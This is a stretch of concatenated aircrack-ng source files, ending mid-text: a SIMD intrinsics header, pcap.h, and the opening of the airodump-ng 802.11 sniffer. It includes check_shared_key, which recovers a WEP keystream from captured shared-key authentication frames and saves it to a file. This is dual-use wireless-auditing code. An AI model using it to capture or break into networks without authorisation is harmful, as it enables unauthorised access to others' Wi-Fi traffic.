_mm256_set1_epi32 #define vset1_epi64 _mm256_set1_epi64x #define vset_epi32 _mm256_set_epi32 #define vset_epi64 _mm256_set_epi64x #define vsetzero _mm256_setzero_si256 #define vshuffle_epi8 _mm256_shuffle_epi8 #define vshuffle_epi32 _mm256_shuffle_epi32 #define vshufflehi_epi16 _mm256_shufflehi_epi16 #define vshufflelo_epi16 _mm256_shufflelo_epi16 #define vslli_epi16 _mm256_slli_epi16 #define vslli_epi32 _mm256_slli_epi32 #define vslli_epi64 _mm256_slli_epi64 #define vsrli_epi16 _mm256_srli_epi16 #define vsrli_epi32 _mm256_srli_epi32 #define vsrli_epi64 _mm256_srli_epi64 #define vstore(x, y) _mm256_store_si256((void*)(x), y) #define vstoreu(x, y) _mm256_storeu_si256((void*)(x), y) #define vunpackhi_epi32 _mm256_unpackhi_epi32 #define vunpackhi_epi64 _mm256_unpackhi_epi64 #define vunpacklo_epi32 _mm256_unpacklo_epi32 #define vunpacklo_epi64 _mm256_unpacklo_epi64 #define vxor _mm256_xor_si256 #define vanyeq_epi32(x, y) vmovemask_epi8(vcmpeq_epi32(x, y)) #define swap_endian_mask \ _mm256_set_epi32(0x1c1d1e1f, 0x18191a1b, 0x14151617, 0x10111213, \ 0x0c0d0e0f, 0x08090a0b, 0x04050607, 0x00010203) #define swap_endian64_mask \ vset_epi64(0x18191a1b1c1d1e1fULL, 0x1011121314151617ULL, \ 0x08090a0b0c0d0e0fULL, 0x0001020304050607ULL) #define vswap32(n) \ (n = vshuffle_epi8(n, swap_endian_mask)) #define vswap64(n) \ (n = vshuffle_epi8(n, swap_endian64_mask)) #define GATHER_4x(x, y, z) \ { \ vtype indices = vset_epi32(7<<6,6<<6,5<<6,4<<6, \ 3<<6,2<<6,1<<6,0<<6); \ x = vgather_epi32(&y[z], indices, sizeof(y[z])); \ } #define GATHER_2x(x, y, z) \ { \ vtype indices = vset_epi32(7<<5,6<<5,5<<5,4<<5, \ 3<<5,2<<5,1<<5,0<<5); \ x = vgather_epi32(&y[z], indices, sizeof(y[z])); \ } #define GATHER(x, y, z) \ { \ vtype indices = vset_epi32(7<<4,6<<4,5<<4,4<<4, \ 3<<4,2<<4,1<<4,0<<4); \ x = vgather_epi32(&y[z], indices, sizeof(y[z])); \ } #define GATHER64(x, y, z) \ { \ uint64_t stride = sizeof(*y); \ vtype indices = vset_epi64(3*stride, 2*stride, 1*stride, 0); \ x = vgather_epi64(&y[0][z], indices, 1); \ } /************************* SSE2/3/4/AVX/XOP ***************************/ #elif __SSE2__ #if __XOP__ #include #elif __AVX__ #include #elif __SSE4_1__ #include #elif __SSSE3__ #include #endif #include typedef __m128i vtype; #define vadd_epi32 _mm_add_epi32 #define vadd_epi64 _mm_add_epi64 #define vand _mm_and_si128 #define vandnot _mm_andnot_si128 #if __XOP__ #define vcmov _mm_cmov_si128 #else #define vcmov vcmov_emu #define VCMOV_EMULATED 1 #endif #define vcmpeq_epi8_mask(a, b) _mm_movemask_epi8(_mm_cmpeq_epi8(a, b)) #define vcmpeq_epi32 _mm_cmpeq_epi32 #if __SSE4_1__ #define vcvtsi32 _mm_cvtsi32_si128 #endif #define vinsert_epi32 _mm_insert_epi32 #define vload(x) _mm_load_si128((const vtype*)(x)) #define vloadu(x) _mm_loadu_si128((const vtype*)(x)) #define vmovemask_epi8 _mm_movemask_epi8 #define vor _mm_or_si128 #define vpermute4x64_epi64 _mm_permute4x64_epi64 #define vpermute2x128 _mm_permute2x128_si128 #if __XOP__ #define vroti_epi32 _mm_roti_epi32 #define vroti16_epi32 _mm_roti_epi32 #define vroti_epi64 _mm_roti_epi64 #else #define vroti_epi32 vroti_epi32_emu #define vroti_epi64 vroti_epi64_emu /* Specialized ROTL16 for SSE4.1 and lower (eg. MD5) */ #if __SSSE3__ #define vroti16_epi32(a, s) vshuffle_epi8((a), vset_epi32(0x0d0c0f0e, 0x09080b0a, 0x05040706, 0x01000302)) #elif __SSE2__ #define vroti16_epi32(a, s) vshufflelo_epi16(vshufflehi_epi16((a), 0xb1), 0xb1) #else #define vroti16_epi32 vroti_epi32 #endif /* __SSSE3__ */ #endif /* __XOP__ */ #define vset_epi32 _mm_set_epi32 #define vset1_epi8 _mm_set1_epi8 #define vset1_epi32 _mm_set1_epi32 #ifndef _MSC_VER #define vset1_epi64 _mm_set1_epi64x #define vset_epi64 _mm_set_epi64x #else #define vset1_epi64 _mm_set1_epi64 #define vset_epi64 _mm_set_epi64 #endif #define vsetzero _mm_setzero_si128 #if __SSSE3__ #define vshuffle_epi8 _mm_shuffle_epi8 #endif #define vshuffle_epi32 _mm_shuffle_epi32 #define vshufflehi_epi16 _mm_shufflehi_epi16 #define vshufflelo_epi16 _mm_shufflelo_epi16 #define vslli_epi16 _mm_slli_epi16 #define vslli_epi32 _mm_slli_epi32 #define vslli_epi64 _mm_slli_epi64 #define vsrli_epi16 _mm_srli_epi16 #define vsrli_epi32 _mm_srli_epi32 #define vsrli_epi64 _mm_srli_epi64 #define vstore(x, y) _mm_store_si128((vtype*)(x), y) #define vstoreu(x, y) _mm_storeu_si128((vtype*)(x), y) #define vunpackhi_epi32 _mm_unpackhi_epi32 #define vunpackhi_epi64 _mm_unpackhi_epi64 #define vunpacklo_epi32 _mm_unpacklo_epi32 #define vunpacklo_epi64 _mm_unpacklo_epi64 #define vxor _mm_xor_si128 #define vanyeq_epi32(x, y) vmovemask_epi8(vcmpeq_epi32(x, y)) #if __SSSE3__ #define swap_endian_mask \ vset_epi32(0x0c0d0e0f, 0x08090a0b, 0x04050607, 0x00010203) #define vswap32(n) (n = vshuffle_epi8(n, swap_endian_mask)) #define swap_endian64_mask \ vset_epi64(0x08090a0b0c0d0e0fULL, 0x0001020304050607ULL) #define vswap64(n) (n = vshuffle_epi8(n, swap_endian64_mask)) #else /* Just basic SSE2 */ #define vswap32(n) \ (n = vxor( \ vsrli_epi16( \ vroti16_epi32(n,16), 8), \ vslli_epi16(vroti16_epi32(n,16), 8))) #define vswap64(n) \ ( \ n = vshufflehi_epi16(vshufflelo_epi16(n, 0xb1), 0xb1), \ n = vxor(vslli_epi16(n, 8), vsrli_epi16(n, 8)), \ n = vshuffle_epi32(n, 0xb1) \ ) #endif /* __SSSE3__ */ #if __SSE4_1__ #define GATHER_4x(x, y, z) \ { \ x = vcvtsi32( y[z] ); \ x = vinsert_epi32(x, y[z+(1<<6)], 1); \ x = vinsert_epi32(x, y[z+(2<<6)], 2); \ x = vinsert_epi32(x, y[z+(3<<6)], 3); \ } #define GATHER_2x(x, y, z) \ { \ x = vcvtsi32( y[z] ); \ x = vinsert_epi32(x, y[z+(1<<5)], 1); \ x = vinsert_epi32(x, y[z+(2<<5)], 2); \ x = vinsert_epi32(x, y[z+(3<<5)], 3); \ } #define GATHER(x, y, z) \ { \ x = vcvtsi32( y[z] ); \ x = vinsert_epi32(x, y[z+(1<<4)], 1); \ x = vinsert_epi32(x, y[z+(2<<4)], 2); \ x = vinsert_epi32(x, y[z+(3<<4)], 3); \ } #endif /* __SSE4_1__ */ #define GATHER64(x,y,z) { x = vset_epi64 (y[1][z], y[0][z]); } #if _MSC_VER && !_M_X64 /* * These are slow, but the F'n 32 bit compiler will not build these intrinsics. * Only the 64-bit (Win64) MSVC compiler has these as intrinsics. These slow * ones let me debug, and develop this code, and work, but use CPU */ #define _mm_set_epi64 __mm_set_epi64 #define _mm_set1_epi64 __mm_set1_epi64 _inline __m128i _mm_set_epi64(long long a, long long b) { __m128i x; x.m128i_i64[0] = b; x.m128i_i64[1] = a; return x; } _inline __m128i _mm_set1_epi64(long long a) { __m128i x; x.m128i_i64[0] = x.m128i_i64[1] = a; return x; } #define vset1_epi64x(x) vset_epi64x(x, x) #define vset_epi64x(x1, x0) (vtype)(vtype64){x0, x1} #endif /******************************** MMX *********************************/ #elif __MMX__ #include typedef __m64i vtype; #error MMX intrinsics not implemented (contributions are welcome!) #endif /* __SIMD__ elif __SIMD__ elif __SIMD__ */ /************************* COMMON STUFF BELOW *************************/ #ifdef _MSC_VER #define MEM_ALIGN_SIMD 16 #define INLINE _inline #else #define MEM_ALIGN_SIMD (SIMD_COEF_32 * 4) #define INLINE inline #endif #if VLOADU_EMULATED static INLINE vtype vloadu_emu(const void *addr) { if (is_aligned(addr, MEM_ALIGN_SIMD)) return vload(addr); else { JTR_ALIGN(MEM_ALIGN_SIMD) char buf[sizeof(vtype)]; return vload(memcpy(buf, addr, sizeof(vtype))); } } #endif #if VSTOREU_EMULATED static INLINE void vstoreu_emu(void *addr, vtype v) { if (is_aligned(addr, MEM_ALIGN_SIMD)) vstore(addr, v); else { JTR_ALIGN(MEM_ALIGN_SIMD) char buf[sizeof(vtype)]; vstore(buf, v); memcpy(addr, buf, sizeof(vtype)); } } #endif #define vswap32_emu(x) \ x = vxor(vsrli_epi32(x, 24), \ vxor(vslli_epi32(vsrli_epi32(vslli_epi32(x, 8), 24), 8), \ vxor(vsrli_epi32(vslli_epi32(vsrli_epi32(x, 8), 24), 8), \ vslli_epi32(x, 24)))) #define vswap64_emu(x) \ (x = vxor(vsrli_epi64(x, 32), vslli_epi64(x, 32)), vswap32_emu(x)) #if VCMOV_EMULATED #if VANDNOT_EMULATED /* currently never */ #define vcmov_emu(x, y, z) vxor(y, vand(z, vxor(x, y))) #else #define vcmov_emu(x, y, z) vxor(vand(z, x), vandnot(z, y)) #endif #endif #if __SSE3__ || __MIC__ #define vslli_epi64a(a, s) vslli_epi64(a, s) #else /* Optimization for really old CPUs for << 1 (for vroti -1) (eg. SHA512) */ #define vslli_epi64a(a, s) ((s) == 1 ? \ vadd_epi64((a), (a)) : vslli_epi64((a), (s))) #endif /* __SSE3__ || __MIC__ */ /* * vroti must handle both ROTL and ROTR. If s < 0, then ROTR. Note that * the ternary will normally be optimized away! */ #define vroti_epi32_emu(a, s) ((s) < 0 ? \ vxor(vsrli_epi32((a), ~(s) + 1), vslli_epi32((a), 32 + (s))) : \ vxor(vslli_epi32((a), (s)), vsrli_epi32((a), 32 - (s)))) #define vroti_epi64_emu(a, s) ((s) < 0 ? \ vxor(vsrli_epi64((a), ~(s) + 1), vslli_epi64a((a), 64 + (s))) : \ vxor(vslli_epi64a((a), (s)), vsrli_epi64((a), 64 - (s)))) #endif /* SIMD_COEF_32 */ #endif /* _SSE_PSEUDO_H */ aircrack-ng-1.2-rc4/src/pcap.h0000644000000000000000000000651412360116103014603 0ustar rootroot/* * * Copyright (C) 2001-2004 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _AIRCRACK_NG_PCAP_H_ #define _AIRCRACK_NG_PCAP_H_ #include #define FORMAT_CAP 1 #define FORMAT_IVS 2 #define FORMAT_IVS2 3 #define TCPDUMP_MAGIC 0xA1B2C3D4 #define TCPDUMP_CIGAM 0xD4C3B2A1 #define IVSONLY_MAGIC "\xBF\xCA\x84\xD4" #define IVS2_MAGIC "\xAE\x78\xD1\xFF" #define IVS2_EXTENSION "ivs" #define IVS2_VERSION 1 #define PCAP_VERSION_MAJOR 2 #define PCAP_VERSION_MINOR 4 #define LINKTYPE_ETHERNET 1 #define LINKTYPE_IEEE802_11 105 #define LINKTYPE_PRISM_HEADER 119 #define LINKTYPE_RADIOTAP_HDR 127 #define LINKTYPE_PPI_HDR 192 //BSSID const. length of 6 bytes; can be together with all the other types #define IVS2_BSSID 0x0001 //ESSID var. length; alone, or with BSSID #define IVS2_ESSID 0x0002 //wpa structure, const. length; alone, or with BSSID #define IVS2_WPA 0x0004 //IV+IDX+KEYSTREAM, var. length; alone or with BSSID #define IVS2_XOR 0x0008 /* [IV+IDX][i][l][XOR_1]..[XOR_i][weight] * * holds i possible keystreams for the same IV with a length of l for each keystream (l max 32) * * and an array "int weight[16]" at the end */ #define IVS2_PTW 0x0010 //unencrypted packet #define IVS2_CLR 0x0020 // Maximum length of an Information Element #define MAX_IE_ELEMENT_SIZE 256 struct pcap_file_header { uint32_t magic; uint16_t version_major; uint16_t version_minor; int32_t thiszone; uint32_t sigfigs; uint32_t snaplen; uint32_t linktype; }; struct pcap_pkthdr { int32_t tv_sec; int32_t tv_usec; uint32_t caplen; uint32_t len; }; struct ivs2_filehdr { uint16_t version; }; struct ivs2_pkthdr { uint16_t flags; uint16_t len; }; #endif /* common.h */ aircrack-ng-1.2-rc4/src/airodump-ng.c0000644000000000000000000063357712660207441016125 0ustar rootroot/* * pcap-compatible 802.11 packet sniffer * * Copyright (C) 2006-2016 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #ifndef TIOCGWINSZ #include #endif #include #include #include #include #include #include #define _WITH_DPRINTF #include #include #include #include #include #include #include #include #include #ifdef HAVE_PCRE #include #endif #include "version.h" #include "pcap.h" #include "uniqueiv.h" #include "crypto.h" #include "osdep/osdep.h" #include "airodump-ng.h" #include "osdep/common.h" #include "common.h" // libgcrypt thread callback definition for libgcrypt < 1.6.0 #ifdef USE_GCRYPT #if GCRYPT_VERSION_NUMBER < 0x010600 GCRY_THREAD_OPTION_PTHREAD_IMPL; #endif #endif // in common.c extern int is_string_number(const char * str); void dump_sort( void ); void dump_print( int ws_row, int ws_col, int if_num ); char * get_manufacturer_from_string(char * buffer) { char * manuf = NULL; char * buffer_manuf; if (buffer != NULL && strlen(buffer) > 0) { buffer_manuf = strstr(buffer, "(hex)"); if (buffer_manuf != NULL) { buffer_manuf += 6; // skip '(hex)' and one more character (there's at least one 'space' character after that string) while (*buffer_manuf == '\t' || *buffer_manuf == ' ') { ++buffer_manuf; } // Did we stop at the manufacturer if (*buffer_manuf != '\0') { // First make sure there's no end of line if (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer_manuf[strlen(buffer_manuf) - 1] == '\r') { buffer_manuf[strlen(buffer_manuf) - 1] = '\0'; if (*buffer_manuf != '\0' && (buffer_manuf[strlen(buffer_manuf) - 1] == '\n' || buffer[strlen(buffer_manuf) - 1] == '\r')) { buffer_manuf[strlen(buffer_manuf) - 1] = '\0'; } } if (*buffer_manuf != '\0') { if ((manuf = (char *)malloc((strlen(buffer_manuf) + 1) * sizeof(char))) == NULL) { perror("malloc failed"); return NULL; } snprintf(manuf, strlen(buffer_manuf) + 1, "%s", buffer_manuf); } } } } return manuf; } void textcolor(int attr, int fg, int bg) { char command[13]; /* Command is the control command to the terminal */ snprintf(command, sizeof(command), "%c[%d;%d;%dm", 0x1B, attr, fg + 30, bg + 40); fprintf(stderr, "%s", command); fflush(stderr); } void textcolor_fg(int fg) { char command[13]; /* Command is the control command to the terminal */ snprintf(command, sizeof(command), "\033[%dm", fg + 30); fprintf(stderr, "%s", command); fflush(stderr); } void textcolor_bg(int bg) { char command[13]; /* Command is the control command to the terminal */ snprintf(command, sizeof(command), "\033[%dm", bg + 40); fprintf(stderr, "%s", command); fflush(stderr); } void textstyle(int attr) { char command[13]; /* Command is the control command to the terminal */ snprintf(command, sizeof(command), "\033[%im", attr); fprintf(stderr, "%s", command); fflush(stderr); } void reset_term() { struct termios oldt, newt; tcgetattr( STDIN_FILENO, &oldt ); newt = oldt; newt.c_lflag |= ( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newt ); } int mygetch( ) { struct termios oldt, newt; int ch; tcgetattr( STDIN_FILENO, &oldt ); newt = oldt; newt.c_lflag &= ~( ICANON | ECHO ); tcsetattr( STDIN_FILENO, TCSANOW, &newt ); ch = getchar(); tcsetattr( STDIN_FILENO, TCSANOW, &oldt ); return ch; } void resetSelection() { G.sort_by = SORT_BY_POWER; G.sort_inv = 1; G.start_print_ap=1; G.start_print_sta=1; G.selected_ap=1; G.selected_sta=1; G.selection_ap=0; G.selection_sta=0; G.mark_cur_ap=0; G.skip_columns=0; G.do_pause=0; G.do_sort_always=0; memset(G.selected_bssid, '\x00', 6); } #define KEY_TAB 0x09 //switch between APs/clients for scrolling #define KEY_SPACE 0x20 //pause/resume output #define KEY_ARROW_UP 0x41 //scroll #define KEY_ARROW_DOWN 0x42 //scroll #define KEY_ARROW_RIGHT 0x43 //scroll #define KEY_ARROW_LEFT 0x44 //scroll #define KEY_a 0x61 //cycle through active information (ap/sta/ap+sta/ap+sta+ack) #define KEY_c 0x63 //cycle through channels #define KEY_d 0x64 //default mode #define KEY_i 0x69 //inverse sorting #define KEY_m 0x6D //mark current AP #define KEY_n 0x6E //? #define KEY_r 0x72 //realtime sort (de)activate #define KEY_s 0x73 //cycle through sorting void input_thread( void *arg) { if(!arg){} while( G.do_exit == 0 ) { int keycode=0; keycode=mygetch(); if(keycode == KEY_s) { G.sort_by++; G.selection_ap = 0; G.selection_sta = 0; if(G.sort_by > MAX_SORT) G.sort_by = 0; switch(G.sort_by) { case SORT_BY_NOTHING: snprintf(G.message, sizeof(G.message), "][ sorting by first seen"); break; case SORT_BY_BSSID: snprintf(G.message, sizeof(G.message), "][ sorting by bssid"); break; case SORT_BY_POWER: snprintf(G.message, sizeof(G.message), "][ sorting by power level"); break; case SORT_BY_BEACON: snprintf(G.message, sizeof(G.message), "][ sorting by beacon number"); break; case SORT_BY_DATA: snprintf(G.message, sizeof(G.message), "][ sorting by number of data packets"); break; case SORT_BY_PRATE: snprintf(G.message, sizeof(G.message), "][ sorting by packet rate"); break; case SORT_BY_CHAN: snprintf(G.message, sizeof(G.message), "][ sorting by channel"); break; case SORT_BY_MBIT: snprintf(G.message, sizeof(G.message), "][ sorting by max data rate"); break; case SORT_BY_ENC: snprintf(G.message, sizeof(G.message), "][ sorting by encryption"); break; case SORT_BY_CIPHER: snprintf(G.message, sizeof(G.message), "][ sorting by cipher"); break; case SORT_BY_AUTH: snprintf(G.message, sizeof(G.message), "][ sorting by authentication"); break; case SORT_BY_ESSID: snprintf(G.message, sizeof(G.message), "][ sorting by ESSID"); break; default: break; } pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } if(keycode == KEY_SPACE) { G.do_pause = (G.do_pause+1)%2; if(G.do_pause) { snprintf(G.message, sizeof(G.message), "][ paused output"); pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush(stderr); pthread_mutex_unlock( &(G.mx_print) ); } else snprintf(G.message, sizeof(G.message), "][ resumed output"); } if(keycode == KEY_r) { G.do_sort_always = (G.do_sort_always+1)%2; if(G.do_sort_always) snprintf(G.message, sizeof(G.message), "][ realtime sorting activated"); else snprintf(G.message, sizeof(G.message), "][ realtime sorting deactivated"); } if(keycode == KEY_m) { G.mark_cur_ap = 1; } if(keycode == KEY_ARROW_DOWN) { if(G.selection_ap == 1) { G.selected_ap++; } if(G.selection_sta == 1) { G.selected_sta++; } } if(keycode == KEY_ARROW_UP) { if(G.selection_ap == 1) { G.selected_ap--; if(G.selected_ap < 1) G.selected_ap = 1; } if(G.selection_sta == 1) { G.selected_sta--; if(G.selected_sta < 1) G.selected_sta = 1; } } if(keycode == KEY_i) { G.sort_inv*=-1; if(G.sort_inv < 0) snprintf(G.message, sizeof(G.message), "][ inverted sorting order"); else snprintf(G.message, sizeof(G.message), "][ normal sorting order"); } if(keycode == KEY_TAB) { if(G.selection_ap == 0) { G.selection_ap = 1; G.selected_ap = 1; snprintf(G.message, sizeof(G.message), "][ enabled AP selection"); G.sort_by = SORT_BY_NOTHING; } else if(G.selection_ap == 1) { G.selection_ap = 0; G.sort_by = SORT_BY_NOTHING; snprintf(G.message, sizeof(G.message), "][ disabled selection"); } } if(keycode == KEY_a) { if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 0) { G.show_ap = 1; G.show_sta = 1; G.show_ack = 1; snprintf(G.message, sizeof(G.message), "][ display ap+sta+ack"); } else if(G.show_ap == 1 && G.show_sta == 1 && G.show_ack == 1) { G.show_ap = 1; G.show_sta = 0; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display ap only"); } else if(G.show_ap == 1 && G.show_sta == 0 && G.show_ack == 0) { G.show_ap = 0; G.show_sta = 1; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display sta only"); } else if(G.show_ap == 0 && G.show_sta == 1 && G.show_ack == 0) { G.show_ap = 1; G.show_sta = 1; G.show_ack = 0; snprintf(G.message, sizeof(G.message), "][ display ap+sta"); } } if (keycode == KEY_d) { resetSelection(); snprintf(G.message, sizeof(G.message), "][ reset selection to default"); } if(G.do_exit == 0 && !G.do_pause) { pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush(stderr); pthread_mutex_unlock( &(G.mx_print) ); } } } void trim(char *str) { int i; int begin = 0; int end = strlen(str) - 1; while (isspace((int)str[begin])) begin++; while ((end >= begin) && isspace((int)str[end])) end--; // Shift all characters back to the start of the string array. for (i = begin; i <= end; i++) str[i - begin] = str[i]; str[i - begin] = '\0'; // Null terminate string. } FILE *open_oui_file(void) { int i; FILE *fp = NULL; for (i=0; OUI_PATHS[i] != NULL; i++) { fp = fopen(OUI_PATHS[i], "r"); if ( fp != NULL ) { break; } } return fp; } struct oui * load_oui_file(void) { FILE *fp; char * manuf; char buffer[BUFSIZ]; unsigned char a[2]; unsigned char b[2]; unsigned char c[2]; struct oui *oui_ptr = NULL, *oui_head = NULL; fp = open_oui_file(); if (!fp) { return NULL; } memset(buffer, 0x00, sizeof(buffer)); while (fgets(buffer, sizeof(buffer), fp) != NULL) { if (!(strstr(buffer, "(hex)"))) continue; memset(a, 0x00, sizeof(a)); memset(b, 0x00, sizeof(b)); memset(c, 0x00, sizeof(c)); // Remove leading/trailing whitespaces. trim(buffer); if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) { if (oui_ptr == NULL) { if (!(oui_ptr = (struct oui *)malloc(sizeof(struct oui)))) { fclose(fp); perror("malloc failed"); return NULL; } } else { if (!(oui_ptr->next = (struct oui *)malloc(sizeof(struct oui)))) { fclose(fp); perror("malloc failed"); while(oui_head != NULL) { oui_ptr = oui_head->next; free(oui_head); oui_head = oui_ptr; } return NULL; } oui_ptr = oui_ptr->next; } memset(oui_ptr->id, 0x00, sizeof(oui_ptr->id)); memset(oui_ptr->manuf, 0x00, sizeof(oui_ptr->manuf)); snprintf(oui_ptr->id, sizeof(oui_ptr->id), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1]); manuf = get_manufacturer_from_string(buffer); if (manuf != NULL) { snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "%s", manuf); free(manuf); } else { snprintf(oui_ptr->manuf, sizeof(oui_ptr->manuf), "Unknown"); } if (oui_head == NULL) oui_head = oui_ptr; oui_ptr->next = NULL; } } fclose(fp); return oui_head; } int check_shared_key(unsigned char *h80211, int caplen) { int m_bmac, m_smac, m_dmac, n, textlen; char ofn[1024]; char text[4096]; char prga[4096]; unsigned int long crc; if((unsigned)caplen > sizeof(G.sharedkey[0])) return 1; m_bmac = 16; m_smac = 10; m_dmac = 4; if( time(NULL) - G.sk_start > 5) { /* timeout(5sec) - remove all packets, restart timer */ memset(G.sharedkey, '\x00', 4096*3); G.sk_start = time(NULL); } /* is auth packet */ if( (h80211[1] & 0x40) != 0x40 ) { /* not encrypted */ if( ( h80211[24] + (h80211[25] << 8) ) == 1 ) { /* Shared-Key Authentication */ if( ( h80211[26] + (h80211[27] << 8) ) == 2 ) { /* sequence == 2 */ memcpy(G.sharedkey[0], h80211, caplen); G.sk_len = caplen-24; } if( ( h80211[26] + (h80211[27] << 8) ) == 4 ) { /* sequence == 4 */ memcpy(G.sharedkey[2], h80211, caplen); } } else return 1; } else { /* encrypted */ memcpy(G.sharedkey[1], h80211, caplen); G.sk_len2 = caplen-24-4; } /* check if the 3 packets form a proper authentication */ if( ( memcmp(G.sharedkey[0]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(G.sharedkey[1]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(G.sharedkey[2]+m_bmac, NULL_MAC, 6) == 0 ) ) /* some bssids == zero */ { return 1; } if( ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[1]+m_bmac, 6) != 0 ) || ( memcmp(G.sharedkey[0]+m_bmac, G.sharedkey[2]+m_bmac, 6) != 0 ) ) /* all bssids aren't equal */ { return 1; } if( ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[2]+m_smac, 6) != 0 ) || ( memcmp(G.sharedkey[0]+m_smac, G.sharedkey[1]+m_dmac, 6) != 0 ) ) /* SA in 2&4 != DA in 3 */ { return 1; } if( (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[2]+m_dmac, 6) != 0 ) || (memcmp(G.sharedkey[0]+m_dmac, G.sharedkey[1]+m_smac, 6) != 0 ) ) /* DA in 2&4 != SA in 3 */ { return 1; } textlen = G.sk_len; if(textlen+4 != G.sk_len2) { snprintf(G.message, sizeof(G.message), "][ Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X ", *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5)); return 1; } if((unsigned)textlen > sizeof(text) - 4) return 1; memcpy(text, G.sharedkey[0]+24, textlen); /* increment sequence number from 2 to 3 */ text[2] = text[2]+1; crc = 0xFFFFFFFF; for( n = 0; n < textlen; n++ ) crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; /* append crc32 over body */ text[textlen] = (crc ) & 0xFF; text[textlen+1] = (crc >> 8) & 0xFF; text[textlen+2] = (crc >> 16) & 0xFF; text[textlen+3] = (crc >> 24) & 0xFF; /* cleartext XOR cipher */ for(n=0; n<(textlen+4); n++) { prga[4+n] = (text[n] ^ G.sharedkey[1][28+n]) & 0xFF; } /* write IV+index */ prga[0] = G.sharedkey[1][24] & 0xFF; prga[1] = G.sharedkey[1][25] & 0xFF; prga[2] = G.sharedkey[1][26] & 0xFF; prga[3] = G.sharedkey[1][27] & 0xFF; if( G.f_xor != NULL ) { fclose(G.f_xor); G.f_xor = NULL; } snprintf( ofn, sizeof( ofn ) - 1, "%s-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s", G.prefix, G.f_index, *(G.sharedkey[0]+m_bmac), *(G.sharedkey[0]+m_bmac+1), *(G.sharedkey[0]+m_bmac+2), *(G.sharedkey[0]+m_bmac+3), *(G.sharedkey[0]+m_bmac+4), *(G.sharedkey[0]+m_bmac+5), "xor" ); G.f_xor = fopen( ofn, "w"); if(G.f_xor == NULL) return 1; for(n=0; n [,,...]\n" "\n" " Options:\n" " --ivs : Save only captured IVs\n" " --gpsd : Use GPSd\n" " --write : Dump file prefix\n" " -w : same as --write \n" " --beacons : Record all beacons in dump file\n" " --update : Display update delay in seconds\n" " --showack : Prints ack/cts/rts statistics\n" " -h : Hides known stations for --showack\n" " -f : Time in ms between hopping channels\n" " --berlin : Time before removing the AP/client\n" " from the screen when no more packets\n" " are received (Default: 120 seconds)\n" " -r : Read packets from that file\n" " -x : Active Scanning Simulation\n" " --manufacturer : Display manufacturer from IEEE OUI list\n" " --uptime : Display AP Uptime from Beacon Timestamp\n" " --wps : Display WPS information (if any)\n" " --output-format\n" " : Output format. Possible values:\n" " pcap, ivs, csv, gps, kismet, netxml\n" " --ignore-negative-one : Removes the message that says\n" " fixed channel : -1\n" " --write-interval\n" " : Output file(s) write interval in seconds\n" "\n" " Filter options:\n" " --encrypt : Filter APs by cipher suite\n" " --netmask : Filter APs by mask\n" " --bssid : Filter APs by BSSID\n" " --essid : Filter APs by ESSID\n" #ifdef HAVE_PCRE " --essid-regex : Filter APs by ESSID using a regular\n" " expression\n" #endif " -a : Filter unassociated clients\n" "\n" " By default, airodump-ng hop on 2.4GHz channels.\n" " You can make it capture on other/specific channel(s) by using:\n" " --channel : Capture on specific channels\n" " --band : Band on which airodump-ng should hop\n" " -C : Uses these frequencies in 